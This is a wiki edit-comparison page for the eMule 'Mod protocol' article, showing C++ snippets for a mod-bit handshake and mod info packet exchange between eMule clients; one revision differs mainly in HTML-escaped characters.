Editing Mod protocol

From EMule Wiki
Jump to: navigation, search

Warning: The database has been locked for maintenance, so you will not be able to save your edits right now. You may wish to cut-n-paste the text into a text file and save it for later.

The administrator who locked it offered this explanation: site maintenance

The edit can be undone. Please check the comparison below to verify that this is what you want to do, and then save the changes below to finish undoing the edit.
Latest revision Your text
Line 1: Line 1:
= Under construction =
+
>= Under construction =
 
THIS IS NOT FINAL.. feel free to edit.  
 
THIS IS NOT FINAL.. feel free to edit.  
  
Line 17: Line 17:
 
When a hello(answer) with a set mod bit is received the ConnectionEstablished has to be delayed. Instead of that the mod info packet with the opcode OP_MODINFOPACKET is to be sent.
 
When a hello(answer) with a set mod bit is received the ConnectionEstablished has to be delayed. Instead of that the mod info packet with the opcode OP_MODINFOPACKET is to be sent.
 
ConnectionEstablished will be triggered when the mod info packet is received.
 
ConnectionEstablished will be triggered when the mod info packet is received.
<pre>
+
&lt;pre&gt;
 
A              B
 
A              B
Hello  --->   MB Set (see if ModBit is set)
+
Hello  ---&gt;   MB Set (see if ModBit is set)
MB Set  <---    Hello Answer
+
MB Set  &lt;---    Hello Answer
ConEst  <---    MInfo (Mod Info)
+
ConEst  &lt;---    MInfo (Mod Info)
MInfo  --->   ConEst (call ConnectionEstablished)
+
MInfo  ---&gt;   ConEst (call ConnectionEstablished)
</pre>
+
&lt;/pre&gt;
 
The mod info packet has to contain eMuleTags that announce the supported features. The packet is made up this way:
 
The mod info packet has to contain eMuleTags that announce the supported features. The packet is made up this way:
<pre>
+
&lt;pre&gt;
<uint 32> tag count
+
&lt;uint 32&gt; tag count
<emule tag 1>
+
&lt;emule tag 1&gt;
<emule tag 2>
+
&lt;emule tag 2&gt;
 
...
 
...
<emule tag n>
+
&lt;emule tag n&gt;
</pre>
+
&lt;/pre&gt;
 
It's only allowed to use mod features it their capability was announced by both sides.
 
It's only allowed to use mod features it their capability was announced by both sides.
 
After the capability exchange via OP_MODINFOPACKET all remaining opcodes are allowed to be used by clients in any way they want.  
 
After the capability exchange via OP_MODINFOPACKET all remaining opcodes are allowed to be used by clients in any way they want.  
Line 43: Line 43:
  
 
in baseclient.cpp,  void CUpDownClient::SendHelloTypePacket(CSafeMemFile* data)
 
in baseclient.cpp,  void CUpDownClient::SendHelloTypePacket(CSafeMemFile* data)
<pre>
+
&lt;pre&gt;
 
// eMule Misc. Options #2
 
// eMule Misc. Options #2
 
const UINT uKadVersion = KADEMLIA_VERSION;
 
const UINT uKadVersion = KADEMLIA_VERSION;
Line 49: Line 49:
 
const UINT uExtMultiPacket = 1;
 
const UINT uExtMultiPacket = 1;
 
// Set the Mod Bit
 
// Set the Mod Bit
const UINT uModProt = 1; // mod bit // NEO: NMP - [NeoModProt] <-- Xanatos --
+
const UINT uModProt = 1; // mod bit // NEO: NMP - [NeoModProt] &lt;-- Xanatos --
 
const UINT uSupportsCryptLayer = thePrefs.IsClientCryptLayerSupported() ? 1 : 0;
 
const UINT uSupportsCryptLayer = thePrefs.IsClientCryptLayerSupported() ? 1 : 0;
 
const UINT uRequestsCryptLayer = thePrefs.IsClientCryptLayerRequested() ? 1 : 0;
 
const UINT uRequestsCryptLayer = thePrefs.IsClientCryptLayerRequested() ? 1 : 0;
Line 57: Line 57:
 
CTag tagMisOptions2(CT_EMULE_MISCOPTIONS2,  
 
CTag tagMisOptions2(CT_EMULE_MISCOPTIONS2,  
 
// (RESERVED     )
 
// (RESERVED     )
(uSupportsSourceEx2 << 10) |
+
(uSupportsSourceEx2 &lt;&lt; 10) |
(uRequiresCryptLayer << 9) |
+
(uRequiresCryptLayer &lt;&lt; 9) |
(uRequestsCryptLayer << 8) |
+
(uRequestsCryptLayer &lt;&lt; 8) |
(uSupportsCryptLayer << 7) |
+
(uSupportsCryptLayer &lt;&lt; 7) |
(uModProt << 6) |
+
(uModProt &lt;&lt; 6) |
(uExtMultiPacket << 5) |
+
(uExtMultiPacket &lt;&lt; 5) |
(uSupportLargeFiles << 4) |
+
(uSupportLargeFiles &lt;&lt; 4) |
(uKadVersion << 0)  
+
(uKadVersion &lt;&lt; 0)  
 
);
 
);
 
tagMisOptions2.WriteTagToFile(data);
 
tagMisOptions2.WriteTagToFile(data);
</pre>
+
&lt;/pre&gt;
  
 
=== Processing hello(answer) packets ===
 
=== Processing hello(answer) packets ===
Line 74: Line 74:
  
 
baseclient.cpp bool CUpDownClient::ProcessHelloTypePacket(CSafeMemFile* data)
 
baseclient.cpp bool CUpDownClient::ProcessHelloTypePacket(CSafeMemFile* data)
<pre>
+
&lt;pre&gt;
 
case CT_EMULE_MISCOPTIONS2:
 
case CT_EMULE_MISCOPTIONS2:
 
// 21 Reserved
 
// 21 Reserved
Line 86: Line 86:
 
//  4 Kad Version
 
//  4 Kad Version
 
if (temptag.IsInt()) {
 
if (temptag.IsInt()) {
m_fSupportsSourceEx2 = (temptag.GetInt() >> 10) & 0x01;
+
m_fSupportsSourceEx2 = (temptag.GetInt() &gt;&gt; 10) &amp; 0x01;
m_fRequiresCryptLayer = (temptag.GetInt() >> 9) & 0x01;
+
m_fRequiresCryptLayer = (temptag.GetInt() &gt;&gt; 9) &amp; 0x01;
m_fRequestsCryptLayer = (temptag.GetInt() >> 8) & 0x01;
+
m_fRequestsCryptLayer = (temptag.GetInt() &gt;&gt; 8) &amp; 0x01;
m_fSupportsCryptLayer = (temptag.GetInt() >> 7) & 0x01;
+
m_fSupportsCryptLayer = (temptag.GetInt() &gt;&gt; 7) &amp; 0x01;
 
// read the mod bit
 
// read the mod bit
m_fSupportsModProt = (temptag.GetInt() >> 6) & 0x01; // NEO: NMP - [NeoModProt] <-- Xanatos --
+
m_fSupportsModProt = (temptag.GetInt() &gt;&gt; 6) &amp; 0x01; // NEO: NMP - [NeoModProt] &lt;-- Xanatos --
m_fExtMultiPacket = (temptag.GetInt() >> 5) & 0x01;
+
m_fExtMultiPacket = (temptag.GetInt() &gt;&gt; 5) &amp; 0x01;
m_fSupportsLargeFiles  = (temptag.GetInt() >> 4) & 0x01;
+
m_fSupportsLargeFiles  = (temptag.GetInt() &gt;&gt; 4) &amp; 0x01;
m_byKadVersion = (uint8)((temptag.GetInt() >> 0) & 0x0f);
+
m_byKadVersion = (uint8)((temptag.GetInt() &gt;&gt; 0) &amp; 0x0f);
 
dwEmuleTags |= 8;
 
dwEmuleTags |= 8;
 
if (bDbgInfo)
 
if (bDbgInfo)
m_strHelloInfo.AppendFormat(_T("\n  KadVersion=%u, LargeFiles=%u ExtMultiPacket=%u CryptLayerSupport=%u CryptLayerRequest=%u CryptLayerRequires=%u m_fSupportsSourceEx2=%u"), m_byKadVersion, m_fSupportsLargeFiles, m_fExtMultiPacket, m_fSupportsCryptLayer, m_fRequestsCryptLayer, m_fRequiresCryptLayer, m_fSupportsSourceEx2);
+
m_strHelloInfo.AppendFormat(_T(&quot;\n  KadVersion=%u, LargeFiles=%u ExtMultiPacket=%u CryptLayerSupport=%u CryptLayerRequest=%u CryptLayerRequires=%u m_fSupportsSourceEx2=%u&quot;), m_byKadVersion, m_fSupportsLargeFiles, m_fExtMultiPacket, m_fSupportsCryptLayer, m_fRequestsCryptLayer, m_fRequiresCryptLayer, m_fSupportsSourceEx2);
m_fRequestsCryptLayer &= m_fSupportsCryptLayer;
+
m_fRequestsCryptLayer &amp;= m_fSupportsCryptLayer;
m_fRequiresCryptLayer &= m_fRequestsCryptLayer;
+
m_fRequiresCryptLayer &amp;= m_fRequestsCryptLayer;
</pre>
+
&lt;/pre&gt;
  
 
== Sending hello answer and modprot info ==
 
== Sending hello answer and modprot info ==
  
 
Listensocket.cpp bool CClientReqSocket::ProcessPacket(const BYTE* packet, uint32 size, UINT opcode)
 
Listensocket.cpp bool CClientReqSocket::ProcessPacket(const BYTE* packet, uint32 size, UINT opcode)
<pre>if (client->GetHashType() == SO_EMULE && !bIsMuleHello)
+
&lt;pre&gt;if (client-&gt;GetHashType() == SO_EMULE &amp;&amp; !bIsMuleHello)
client->SendMuleInfoPacket(false);
+
client-&gt;SendMuleInfoPacket(false);
  
client->SendHelloAnswer();
+
client-&gt;SendHelloAnswer();
  
 
if (client)
 
if (client)
 
{
 
{
// NEO: NMP - [NeoModProt] -- Xanatos -->
+
// NEO: NMP - [NeoModProt] -- Xanatos --&gt;
if(client->GetNeoModProtVersion())
+
if(client-&gt;GetNeoModProtVersion())
client->SendModInfoPacket();
+
client-&gt;SendModInfoPacket();
</pre>
+
&lt;/pre&gt;
  
  
 
Example of SendModInfoPacket:
 
Example of SendModInfoPacket:
  
<pre>
+
&lt;pre&gt;
 
void CUpDownClient::SendModInfoPacket(){
 
void CUpDownClient::SendModInfoPacket(){
 
if (socket == NULL){ // first we check if we have a valid socket, actualy we was called form the socket so this check is rather unnesesery, but in case
 
if (socket == NULL){ // first we check if we have a valid socket, actualy we was called form the socket so this check is rather unnesesery, but in case
Line 136: Line 136:
 
// in this sample its an normal tag with an uint8 ID, its the modstring 0x55 = 'T'
 
// in this sample its an normal tag with an uint8 ID, its the modstring 0x55 = 'T'
 
data.WriteUInt32(tagcount); // nr. of tags
 
data.WriteUInt32(tagcount); // nr. of tags
CTag tagPartStatus(0x55,_T("TestMod"));
+
CTag tagPartStatus(0x55,_T(&quot;TestMod&quot;));
tagPartStatus.WriteNewEd2kTag(&data);
+
tagPartStatus.WriteNewEd2kTag(&amp;data);
  
 
// write the secund tag (Nr.2)
 
// write the secund tag (Nr.2)
 
// in this sample its an custom named tag with an string as ID
 
// in this sample its an custom named tag with an string as ID
CTag tagMyMail("Mod:eMail",_T("User@Domain.com"));
+
CTag tagMyMail(&quot;Mod:eMail&quot;,_T(&quot;User@Domain.com&quot;));
tagMyMail.WriteNewEd2kTag(&data);
+
tagMyMail.WriteNewEd2kTag(&amp;data);
 
 
 
// we are done writing tags
 
// we are done writing tags
  
 
// now we create a packet and put what we have writen in it
 
// now we create a packet and put what we have writen in it
Packet* packet = new Packet(&data,OP_MODPROT);
+
Packet* packet = new Packet(&amp;data,OP_MODPROT);
packet->opcode = OP_MODINFOPACKET;
+
packet-&gt;opcode = OP_MODINFOPACKET;
if (thePrefs.GetDebugClientTCPLevel() > 0)
+
if (thePrefs.GetDebugClientTCPLevel() &gt; 0)
DebugSend("OP__ModInfoPacket", this);
+
DebugSend(&quot;OP__ModInfoPacket&quot;, this);
theStats.AddUpDataOverheadOther(packet->size);
+
theStats.AddUpDataOverheadOther(packet-&gt;size);
socket->SendPacket(packet,true,true); // we send the packet
+
socket-&gt;SendPacket(packet,true,true); // we send the packet
 
}
 
}
</pre>
+
&lt;/pre&gt;
  
=== Delaying ConnectionEstablished & sending the mod info packet ===
+
=== Delaying ConnectionEstablished &amp; sending the mod info packet ===
  
 
listensocket.cpp
 
listensocket.cpp
 
bool CClientReqSocket::ProcessPacket(const BYTE* packet, uint32 size, UINT opcode)
 
bool CClientReqSocket::ProcessPacket(const BYTE* packet, uint32 size, UINT opcode)
<pre>
+
&lt;pre&gt;
 
case OP_HELLOANSWER:
 
case OP_HELLOANSWER:
 
{
 
{
 
theStats.AddDownDataOverheadOther(size);
 
theStats.AddDownDataOverheadOther(size);
client->ProcessHelloAnswer(packet,size);
+
client-&gt;ProcessHelloAnswer(packet,size);
if (thePrefs.GetDebugClientTCPLevel() > 0){
+
if (thePrefs.GetDebugClientTCPLevel() &gt; 0){
DebugRecv("OP_HelloAnswer", client);
+
DebugRecv(&quot;OP_HelloAnswer&quot;, client);
Debug(_T(" %s\n"), client->DbgGetHelloInfo());
+
Debug(_T(&quot; %s\n&quot;), client-&gt;DbgGetHelloInfo());
 
}
 
}
  
// NEO: NMP - [NeoModProt] -- Xanatos -->
+
// NEO: NMP - [NeoModProt] -- Xanatos --&gt;
if(client->SupportsModProt() == 0) // check for mod prot
+
if(client-&gt;SupportsModProt() == 0) // check for mod prot
 
// we will start the SUI when we recieve the mod info packet
 
// we will start the SUI when we recieve the mod info packet
// NEO: NMP END <-- Xanatos --
+
// NEO: NMP END &lt;-- Xanatos --
 
{
 
{
 
// start secure identification, if
 
// start secure identification, if
 
//  - we have received OP_EMULEINFO and OP_HELLOANSWER (old eMule)
 
//  - we have received OP_EMULEINFO and OP_HELLOANSWER (old eMule)
 
// - we have received eMule-OP_HELLOANSWER (new eMule)
 
// - we have received eMule-OP_HELLOANSWER (new eMule)
if (client->GetInfoPacketsReceived() == IP_BOTH)
+
if (client-&gt;GetInfoPacketsReceived() == IP_BOTH)
client->InfoPacketsReceived();
+
client-&gt;InfoPacketsReceived();
 
}
 
}
  
 
if (client)
 
if (client)
 
{
 
{
// NEO: NMP - [NeoModProt] -- Xanatos -->
+
// NEO: NMP - [NeoModProt] -- Xanatos --&gt;
if (client->SupportsModProt()) // if this cleint uses mod protocol extensions
+
if (client-&gt;SupportsModProt()) // if this cleint uses mod protocol extensions
client->SendModInfoPacket(); // we send him the mod info packet with our rxtensions
+
client-&gt;SendModInfoPacket(); // we send him the mod info packet with our rxtensions
 
else // we *dont* call ConnectionEstablished at this point,
 
else // we *dont* call ConnectionEstablished at this point,
 
// when will call ConnectionEstablished when we recieve the Mod Info frm this cleint
 
// when will call ConnectionEstablished when we recieve the Mod Info frm this cleint
// NEO: NMP END <-- Xanatos --
+
// NEO: NMP END &lt;-- Xanatos --
 
{
 
{
client->ConnectionEstablished();
+
client-&gt;ConnectionEstablished();
theApp.emuledlg->transferwnd->clientlistctrl.RefreshClient(client);
+
theApp.emuledlg-&gt;transferwnd-&gt;clientlistctrl.RefreshClient(client);
 
}
 
}
 
}
 
}
 
break;
 
break;
 
}
 
}
</pre>
+
&lt;/pre&gt;
  
 
listensocket.cpp
 
listensocket.cpp
 
bool CClientReqSocket::ProcessPacket(const BYTE* packet, uint32 size, UINT opcode)
 
bool CClientReqSocket::ProcessPacket(const BYTE* packet, uint32 size, UINT opcode)
<pre>
+
&lt;pre&gt;
 
case OP_HELLO:
 
case OP_HELLO:
 
{
 
{
Line 208: Line 208:
 
if (client)
 
if (client)
 
{
 
{
// NEO: NMP - [NeoModProt] -- Xanatos -->
+
// NEO: NMP - [NeoModProt] -- Xanatos --&gt;
if(client->SupportsModProt()) // if this cleint uses mod protocol extensions
+
if(client-&gt;SupportsModProt()) // if this cleint uses mod protocol extensions
client->SendModInfoPacket(); // we send him the mod info packet with our rxtensions
+
client-&gt;SendModInfoPacket(); // we send him the mod info packet with our rxtensions
 
else // we *dont* call ConnectionEstablished at this point,
 
else // we *dont* call ConnectionEstablished at this point,
 
// when will call ConnectionEstablished when we recieve the Mod Info frm this cleint
 
// when will call ConnectionEstablished when we recieve the Mod Info frm this cleint
// NEO: NMP END <-- Xanatos --
+
// NEO: NMP END &lt;-- Xanatos --
client->ConnectionEstablished();
+
client-&gt;ConnectionEstablished();
 
}
 
}
  
Line 220: Line 220:
 
if(client)
 
if(client)
 
{
 
{
// NEO: NMP - [NeoModProt] -- Xanatos -->
+
// NEO: NMP - [NeoModProt] -- Xanatos --&gt;
if(client->SupportsModProt() == 0) // check for mod prot
+
if(client-&gt;SupportsModProt() == 0) // check for mod prot
 
// we will start the SUI when we recieve the mod info packet
 
// we will start the SUI when we recieve the mod info packet
// NEO: NMP END <-- Xanatos --
+
// NEO: NMP END &lt;-- Xanatos --
 
{
 
{
  
 
// start secure identification, if
 
// start secure identification, if
 
// - we have received eMule-OP_HELLO (new eMule)
 
// - we have received eMule-OP_HELLO (new eMule)
if (client->GetInfoPacketsReceived() == IP_BOTH)
+
if (client-&gt;GetInfoPacketsReceived() == IP_BOTH)
client->InfoPacketsReceived();
+
client-&gt;InfoPacketsReceived();
 
}
 
}
  
if( client->GetKadPort() )
+
if( client-&gt;GetKadPort() )
Kademlia::CKademlia::Bootstrap(ntohl(client->GetIP()), client->GetKadPort(), (client->GetKadVersion() > 1));
+
Kademlia::CKademlia::Bootstrap(ntohl(client-&gt;GetIP()), client-&gt;GetKadPort(), (client-&gt;GetKadVersion() &gt; 1));
 
}
 
}
 
break;
 
break;
 
}
 
}
</pre>
+
&lt;/pre&gt;
  
 
=== Processing the modinfo packet ===
 
=== Processing the modinfo packet ===
  
 
listensocket.cpp
 
listensocket.cpp
<pre>
+
&lt;pre&gt;
 
bool CClientReqSocket::ProcessModPacket(const BYTE* packet, uint32 size, UINT opcode, UINT uRawSize)
 
bool CClientReqSocket::ProcessModPacket(const BYTE* packet, uint32 size, UINT opcode, UINT uRawSize)
 
{
 
{
Line 254: Line 254:
 
throw GetResString(IDS_ERR_UNKNOWNCLIENTACTION);
 
throw GetResString(IDS_ERR_UNKNOWNCLIENTACTION);
 
}
 
}
if (thePrefs.m_iDbgHeap >= 2)
+
if (thePrefs.m_iDbgHeap &gt;= 2)
 
ASSERT_VALID(client);
 
ASSERT_VALID(client);
  
Line 261: Line 261:
 
case OP_MODINFOPACKET:
 
case OP_MODINFOPACKET:
 
{
 
{
if (thePrefs.GetDebugClientTCPLevel() > 0)
+
if (thePrefs.GetDebugClientTCPLevel() &gt; 0)
DebugRecv("OP__ModInfoPacket", client);
+
DebugRecv(&quot;OP__ModInfoPacket&quot;, client);
 
theStats.AddDownDataOverheadOther(uRawSize);
 
theStats.AddDownDataOverheadOther(uRawSize);
  
if(client->GetNeoModProtVersion() == 0)
+
if(client-&gt;GetNeoModProtVersion() == 0)
throw CString(_T("Recieved Neo Mod Info Packet from a cleint whitch doe snot support this feature!"));
+
throw CString(_T(&quot;Recieved Neo Mod Info Packet from a cleint whitch doe snot support this feature!&quot;));
  
client->ProcessModInfoPacket(packet,size);
+
client-&gt;ProcessModInfoPacket(packet,size);
  
 
// Now after we have all informations about the cleint the connection is established
 
// Now after we have all informations about the cleint the connection is established
client->ConnectionEstablished();
+
client-&gt;ConnectionEstablished();
  
 
// start secure identification, if
 
// start secure identification, if
 
//  - we have received OP_MODINFOPACKET, (Neo Compatible new eMule mods)
 
//  - we have received OP_MODINFOPACKET, (Neo Compatible new eMule mods)
if (client->GetInfoPacketsReceived() == IP_BOTH)
+
if (client-&gt;GetInfoPacketsReceived() == IP_BOTH)
client->InfoPacketsReceived();
+
client-&gt;InfoPacketsReceived();
 
break;
 
break;
 
}
 
}
Line 284: Line 284:
 
{
 
{
 
...
 
...
</pre>
+
&lt;/pre&gt;
  
  
Line 291: Line 291:
  
 
baseclient.cpp
 
baseclient.cpp
<pre>
+
&lt;pre&gt;
 
void CUpDownClient::ProcessModInfoPacket(const uchar* pachPacket, uint32 nSize)
 
void CUpDownClient::ProcessModInfoPacket(const uchar* pachPacket, uint32 nSize)
 
{
 
{
Line 301: Line 301:
 
uint32 tagcount = data.ReadUInt32();
 
uint32 tagcount = data.ReadUInt32();
 
if (bDbgInfo)
 
if (bDbgInfo)
m_strModInfo.AppendFormat(_T(" Tags=%u"), (UINT)tagcount);
+
m_strModInfo.AppendFormat(_T(&quot; Tags=%u&quot;), (UINT)tagcount);
 
// now we are going to read all of them
 
// now we are going to read all of them
for (uint32 i = 0; i < tagcount; i++)
+
for (uint32 i = 0; i &lt; tagcount; i++)
 
{
 
{
CTag temptag(&data, false);
+
CTag temptag(&amp;data, false);
 
switch (temptag.GetNameID()) // here we distinguish only tags with an uint8 ID, all named tags are handled below
 
switch (temptag.GetNameID()) // here we distinguish only tags with an uint8 ID, all named tags are handled below
 
{
 
{
 
case 0x55:
 
case 0x55:
 
if (temptag.IsStr())
 
if (temptag.IsStr())
Log(_T("ModString %s", temptag.GetStr()));
+
Log(_T(&quot;ModString %s&quot;, temptag.GetStr()));
 
else if (bDbgInfo)
 
else if (bDbgInfo)
m_strModInfo.AppendFormat(_T("\n  ***UnkType=%s"), temptag.GetFullInfo());
+
m_strModInfo.AppendFormat(_T(&quot;\n  ***UnkType=%s&quot;), temptag.GetFullInfo());
 
break;
 
break;
  
Line 318: Line 318:
  
 
// now we habdle custom named tags, we use a series of (else)if's and strcmp, note: this is *not* unicide!!!
 
// now we habdle custom named tags, we use a series of (else)if's and strcmp, note: this is *not* unicide!!!
if(strcmp(temptag.GetName(),"Mod:Hello") == 0)
+
if(strcmp(temptag.GetName(),&quot;Mod:Hello&quot;) == 0)
 
{
 
{
 
if(temptag.IsStr())
 
if(temptag.IsStr())
Log(LOG_SUCCESS,_T("*** Greathings from %s: %s"),GetUserName(),temptag.GetStr());
+
Log(LOG_SUCCESS,_T(&quot;*** Greathings from %s: %s&quot;),GetUserName(),temptag.GetStr());
 
}
 
}
 
else
 
else
  
 
if (bDbgInfo)
 
if (bDbgInfo)
m_strModInfo.AppendFormat(_T("\n  ***UnkTag=%s"), temptag.GetFullInfo());
+
m_strModInfo.AppendFormat(_T(&quot;\n  ***UnkTag=%s&quot;), temptag.GetFullInfo());
 
}
 
}
 
}
 
}
  
 
// some debug output
 
// some debug output
if (bDbgInfo && data.GetPosition() < data.GetLength()){
+
if (bDbgInfo &amp;&amp; data.GetPosition() &lt; data.GetLength()){
m_strModInfo.AppendFormat(_T("\n  ***AddData: %u bytes"), data.GetLength() - data.GetPosition());
+
m_strModInfo.AppendFormat(_T(&quot;\n  ***AddData: %u bytes&quot;), data.GetLength() - data.GetPosition());
 
}
 
}
 
}
 
}
  
</pre>
+
&lt;/pre&gt;
  
 
=== Processing mod data example ===  
 
=== Processing mod data example ===  
Line 342: Line 342:
 
EMSocket.cpp
 
EMSocket.cpp
 
void CEMSocket::OnReceive(int nErrorCode)
 
void CEMSocket::OnReceive(int nErrorCode)
<pre>
+
&lt;pre&gt;
switch (pendingPacket->prot){
+
switch (pendingPacket-&gt;prot){
 
case OP_EDONKEYPROT:
 
case OP_EDONKEYPROT:
 
case OP_PACKEDPROT:
 
case OP_PACKEDPROT:
 
case OP_EMULEPROT:
 
case OP_EMULEPROT:
// NEO: NMP - [NeoModProt] -- Xanatos -->
+
// NEO: NMP - [NeoModProt] -- Xanatos --&gt;
 
// We have to accept also mod packet
 
// We have to accept also mod packet
 
case OP_MODPACKEDPROT:
 
case OP_MODPACKEDPROT:
 
case OP_MODPROT:
 
case OP_MODPROT:
// NEO: NMP END <-- Xanatos --
+
// NEO: NMP END &lt;-- Xanatos --
 
break;
 
break;
 
default:
 
default:
EMTrace("CEMSocket::OnReceive ERROR Wrong header");
+
EMTrace(&quot;CEMSocket::OnReceive ERROR Wrong header&quot;);
 
delete pendingPacket;
 
delete pendingPacket;
 
pendingPacket = NULL;
 
pendingPacket = NULL;
Line 360: Line 360:
 
return;
 
return;
 
}
 
}
</pre>
+
&lt;/pre&gt;
  
  
 
listensocket.cpp
 
listensocket.cpp
 
bool CClientReqSocket::PacketReceivedCppEH(Packet* packet)
 
bool CClientReqSocket::PacketReceivedCppEH(Packet* packet)
<pre>
+
&lt;pre&gt;
// NEO: NMP - [NeoModProt] -- Xanatos -->
+
// NEO: NMP - [NeoModProt] -- Xanatos --&gt;
 
// dispatch mod packets to the right processing functions
 
// dispatch mod packets to the right processing functions
 
case OP_MODPACKEDPROT:
 
case OP_MODPACKEDPROT:
if (!packet->UnPackPacket()){
+
if (!packet-&gt;UnPackPacket()){
 
if (thePrefs.GetVerbose())
 
if (thePrefs.GetVerbose())
AddDebugLogLine(false, _T("Failed to decompress client Mod TCP packet; %s; %s"), DbgGetClientTCPPacket(packet->prot, packet->opcode, packet->size), DbgGetClientInfo());
+
AddDebugLogLine(false, _T(&quot;Failed to decompress client Mod TCP packet; %s; %s&quot;), DbgGetClientTCPPacket(packet-&gt;prot, packet-&gt;opcode, packet-&gt;size), DbgGetClientInfo());
 
bResult = false;
 
bResult = false;
 
break;
 
break;
 
}
 
}
 
case OP_MODPROT:
 
case OP_MODPROT:
bResult = ProcessModPacket((const BYTE*)packet->pBuffer, packet->size, packet->opcode, uRawSize);
+
bResult = ProcessModPacket((const BYTE*)packet-&gt;pBuffer, packet-&gt;size, packet-&gt;opcode, uRawSize);
 
break;
 
break;
</pre>
+
&lt;/pre&gt;
<pre>
+
&lt;pre&gt;
// NEO: NMP - [NeoModProt] -- Xanatos -->
+
// NEO: NMP - [NeoModProt] -- Xanatos --&gt;
 
bool CClientReqSocket::ProcessModPacket(const BYTE* packet, uint32 size, UINT opcode, UINT uRawSize)
 
bool CClientReqSocket::ProcessModPacket(const BYTE* packet, uint32 size, UINT opcode, UINT uRawSize)
 
{
 
{
Line 393: Line 393:
 
throw GetResString(IDS_ERR_UNKNOWNCLIENTACTION);
 
throw GetResString(IDS_ERR_UNKNOWNCLIENTACTION);
 
}
 
}
if (thePrefs.m_iDbgHeap >= 2)
+
if (thePrefs.m_iDbgHeap &gt;= 2)
 
ASSERT_VALID(client);
 
ASSERT_VALID(client);
  
Line 401: Line 401:
 
case OP_MODINFOPACKET:
 
case OP_MODINFOPACKET:
 
{
 
{
if (thePrefs.GetDebugClientTCPLevel() > 0)
+
if (thePrefs.GetDebugClientTCPLevel() &gt; 0)
DebugRecv("OP__ModInfoPacket", client);
+
DebugRecv(&quot;OP__ModInfoPacket&quot;, client);
 
theStats.AddDownDataOverheadOther(uRawSize);
 
theStats.AddDownDataOverheadOther(uRawSize);
  
if(client->SupportsModProt() == 0) // just pure formality
+
if(client-&gt;SupportsModProt() == 0) // just pure formality
throw CString(_T("Recieved Neo Mod Info Packet from a cleint whitch doe snot support this feature!"));
+
throw CString(_T(&quot;Recieved Neo Mod Info Packet from a cleint whitch doe snot support this feature!&quot;));
  
 
// Process the packet
 
// Process the packet
client->ProcessModInfoPacket(packet,size);
+
client-&gt;ProcessModInfoPacket(packet,size);
  
 
// Now after we have all informations about the cleint the connection is established
 
// Now after we have all informations about the cleint the connection is established
client->ConnectionEstablished();
+
client-&gt;ConnectionEstablished();
  
 
// start secure identification, if
 
// start secure identification, if
 
//  - we have received OP_MODINFOPACKET, (Neo Compatible new eMule mods)
 
//  - we have received OP_MODINFOPACKET, (Neo Compatible new eMule mods)
if (client->GetInfoPacketsReceived() == IP_BOTH)
+
if (client-&gt;GetInfoPacketsReceived() == IP_BOTH)
client->InfoPacketsReceived();
+
client-&gt;InfoPacketsReceived();
 
break;
 
break;
 
}
 
}
Line 424: Line 424:
 
 
 
theStats.AddDownDataOverheadOther(uRawSize);
 
theStats.AddDownDataOverheadOther(uRawSize);
PacketToDebugLogLine(_T("ModProt"), packet, size, opcode);
+
PacketToDebugLogLine(_T(&quot;ModProt&quot;), packet, size, opcode);
 
}
 
}
 
}
 
}
 
catch(CFileException* error)
 
catch(CFileException* error)
 
{
 
{
error->Delete();
+
error-&gt;Delete();
 
throw GetResString(IDS_ERR_INVALIDPACKAGE);
 
throw GetResString(IDS_ERR_INVALIDPACKAGE);
 
}
 
}
 
catch(CMemoryException* error)
 
catch(CMemoryException* error)
 
{
 
{
error->Delete();
+
error-&gt;Delete();
throw CString(_T("Memory exception"));
+
throw CString(_T(&quot;Memory exception&quot;));
 
}
 
}
 
}
 
}
 
catch(CString error)
 
catch(CString error)
 
{
 
{
if (thePrefs.GetVerbose() && !error.IsEmpty())
+
if (thePrefs.GetVerbose() &amp;&amp; !error.IsEmpty())
DebugLogWarning(_T("Error: %s - while processing Mod packet: opcode=%s  size=%u; %s"), error, DbgGetMuleClientTCPOpcode(opcode), size, DbgGetClientInfo());
+
DebugLogWarning(_T(&quot;Error: %s - while processing Mod packet: opcode=%s  size=%u; %s&quot;), error, DbgGetMuleClientTCPOpcode(opcode), size, DbgGetClientInfo());
 
// Note: don't disconnect cleints on mod prot errors, the extensions are just addons and if thay fail the client will work anyway
 
// Note: don't disconnect cleints on mod prot errors, the extensions are just addons and if thay fail the client will work anyway
 
//if (client)
 
//if (client)
// client->SetDownloadState(DS_ERROR, _T("ProcessModPacket error. ") + error);
+
// client-&gt;SetDownloadState(DS_ERROR, _T(&quot;ProcessModPacket error. &quot;) + error);
//Disconnect(_T("ProcessModPacket error. ") + error);  
+
//Disconnect(_T(&quot;ProcessModPacket error. &quot;) + error);  
 
//return false;
 
//return false;
 
}
 
}
 
return true;
 
return true;
  
// NEO: NMP END <-- Xanatos --
+
// NEO: NMP END &lt;-- Xanatos --
</pre>
+
&lt;/pre&gt;
  
 
=== Additional modifications ===  
 
=== Additional modifications ===  
Line 457: Line 457:
 
Packets.cpp
 
Packets.cpp
 
void Packet::PackPacket()
 
void Packet::PackPacket()
<pre>
+
&lt;pre&gt;
// NEO: NMP - [NeoModProt] -- Xanatos -->
+
// NEO: NMP - [NeoModProt] -- Xanatos --&gt;
 
if( prot == OP_MODPROT )
 
if( prot == OP_MODPROT )
 
prot = OP_MODPACKEDPROT;
 
prot = OP_MODPACKEDPROT;
 
else
 
else
// NEO: NMP END <-- Xanatos --
+
// NEO: NMP END &lt;-- Xanatos --
 
if( prot == OP_KADEMLIAHEADER )
 
if( prot == OP_KADEMLIAHEADER )
 
prot = OP_KADEMLIAPACKEDPROT;
 
prot = OP_KADEMLIAPACKEDPROT;
 
else
 
else
 
prot = OP_PACKEDPROT;
 
prot = OP_PACKEDPROT;
</pre>
+
&lt;/pre&gt;
  
 
Packets.cpp
 
Packets.cpp
 
bool Packet::UnPackPacket(UINT uMaxDecompressedSize)
 
bool Packet::UnPackPacket(UINT uMaxDecompressedSize)
<pre>
+
&lt;pre&gt;
// NEO: NMP - [NeoModProt] -- Xanatos -->
+
// NEO: NMP - [NeoModProt] -- Xanatos --&gt;
 
if( prot == OP_MODPACKEDPROT )
 
if( prot == OP_MODPACKEDPROT )
 
prot = OP_MODPROT;
 
prot = OP_MODPROT;
 
else
 
else
// NEO: NMP END <-- Xanatos --
+
// NEO: NMP END &lt;-- Xanatos --
 
if( prot == OP_KADEMLIAPACKEDPROT )
 
if( prot == OP_KADEMLIAPACKEDPROT )
 
prot = OP_KADEMLIAHEADER;
 
prot = OP_KADEMLIAHEADER;
 
else
 
else
 
prot =  OP_EMULEPROT;
 
prot =  OP_EMULEPROT;
</pre>
+
&lt;/pre&gt;
  
 
== Backward compatibility ==
